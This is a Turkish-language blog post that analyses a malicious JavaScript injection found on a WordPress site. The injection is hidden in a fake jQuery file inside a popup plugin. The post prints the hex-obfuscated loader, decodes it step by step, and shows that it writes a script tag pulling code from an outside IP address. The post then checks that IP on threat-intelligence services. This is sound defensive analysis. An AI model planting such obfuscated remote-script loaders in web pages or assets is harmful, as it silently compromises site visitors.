Örnek Zararlı Javascript Enjeksiyonu Analizi ile karşınızdayız. Günlük hayatta birçok konuda araştırma yapmak, bilgi edinmek amacıyla internet üzerinde dolaşılmaktadır. Bu gezinti ve ziyaret edilen adresler her ne kadar masumane gözükse de durum tam olarak bu şekilde kabul edilmemelidir. Bu yazıda masumane bir şekilde ziyaret edilen bir sitede nelerle karşılaşabileceğine dair örnek bir analiz gerçekleştirilecektir.
Sıradan bir internet kullanıcısı iş, okul, etkinlik, sınav, tatil gibi aktiviteleri takip etmek için internetten çok fazla yararlanmaktadır. Bu analiz işleminde internet kullanıcısı aktivitelerini planlamak amacıyla resmi tatilleri öğrenmek istemektedir. Yapacağı işlem en basit yöntem, bir arama motoru açmak ve ilgili aramayı gerçekleştirmekle başlar. Elde ettiği sonuçlar üzerinden ilgili sayfaları ziyaret ederek gerekli bilgiyi elde edecektir. Bu kadar masumane gözüken bir aktivitenin nelere yol açabileceğini aşağıda bahsi geçen gerçek bir olay üzerinden incelemeye başlıyoruz.
Zararlı Javascript Enjeksiyonu
Kullanıcı gerekli arama işlemini yaptıktan sonra resimdeki adresi ziyaret etmiştir. İlk bakıldığında her şey gayet masumane gözükmektedir. Sayfanın kaynak kodları incelendiğinde sitenin altyapısı için hazır içerik yönetim sistemlerinden olan WordPress’in kullanıldığı anlaşılmaktadır. Bu tarz içerik yönetim sistemleri için site yöneticilerine kolaylık sağlaması adına eklentiler yapılmıştır. Kullanılan eklentilerde çıkabilecek zafiyetler, eklentiyi kullanan tüm sistemleri etkileyebilmektedir. Bu yüzden kullanılan eklentilere de dikkat edilmelidir.
İlgili sayfanın kaynak kodları incelendiğinde aşağıdaki gibi bir Javascript dosyasının siteye dahil edildiği görülmektedir.
/wp-content/plugins/milat-jquery-automatic-popup/lib/js/jquery.1.7.1.js?ver=4.8.5
İlgili dosyaya erişim sağlayıp içeriğine baktığımızda aşağıdaki gibi bir içerikle karşı karşıya gelmekteyiz.
var _0xaae8=[“”,”\x6A\x6F\x69\x6E”,”\x72\x65\x76\x65\x72\x73\x65″,”\x73\x70\x6C\x69\x74″,”\x3E\
x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36
\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74
\x70\x69\x72\x63\x73\x3C”,”\x77\x72\x69\x74\x65″];document
[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
Buradan da görüldüğü üzere ilgili dosya içeriği encode edilmiş ve hexadecimal olarak gözükmektedir. Bu içeriği metin olarak çözümlediğimizde içerik aşağıdaki gibi olmaktadır.
var _0xaae8=[“”,”join”,”reverse”,”split”,”>tpircs/<>”sj.yreuqj/87.611.942.431//:ptth”=crs tpircs<
“,”write”];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()
[_0xaae8[1]](_0xaae8[0]));
Yukarıdaki kod incelendiğinde bir terse çevirme işleminin varlığı söz konusudur. Bu işlem çalışma anında gerçekleşecektir. Çalışma anını varsayarak gerekli çevirme işlemini gerçekleştirdiğimizde aşağıdaki kod bloğuna ulaşmaktayız.
<script src=“http://134.249.116.78/jquery.js”></script>
Bu dosya içeriğine de doğrudan erişmek isteyip içeriğini görüntülemek istediğimizde aşağıdaki gibi sonuçla karşılaşıyoruz.
Yukarıdaki ekran görüntüsünde görüldüğü üzere dosya içeriği ilk satırda yorum satırı olmak üzere boş bir şekilde görülmektedir. Burada vazgeçmeyip ilgili IP adresini ve/veya URL’i Normshield, IBM XForce, Virustotal gibi IOC (Indicator of Compromised) bilgisi sağlayan servisler üzerinde sorguluyoruz.
Normshield
https://services.normshield.com/blacklist/ip/134.249.116.78
Virustotal
https://www.virustotal.com/#/ip-address/134.249.116.78
Yukarıdaki çıktılarda ilgili IP adresinin daha önceden tespit edildiğini ve tarama sonuçlarında çeşitli kategorilerde zararlı olarak işaretlendiği görülmektedir. Bu analiz esnasında elde ettiğimiz ve erişilmek istenen “jquery.js” dosyasının da daha önceden Virustotal üzerinde taramasının yapıldığını görmekteyiz. Bu dosya ile ilgili tarama sonucu da aşağıdaki gibidir:
https://www.virustotal.com/#/url/dab0812fe89ebcac05a3f37cbad6effaa06802bf91b00535ae789f8d05096aa2/detection
Yukarıdaki tarama sonuçları birebir bizim elde ettiğimiz “jquery.js” dosyasına ait olmayabilir. İlgili dosya üzerinde yapılan en küçük değişiklikte dahi dosyaya ilişkin Hash değeri değişeceğinden tam sonuç vermeyecektir. Ancak tarama detaylarında belirtilen tarihte aynı isimdeki dosyanın 10 adet güvenlik ürünü tarafından zararlı olarak görüldüğü anlaşılmaktadır. Sonuç olarak internet üzerinde yaptığımız işlemler her ne kadar masumane de görünse dahi sonuçları bir hayli zarar verebilir.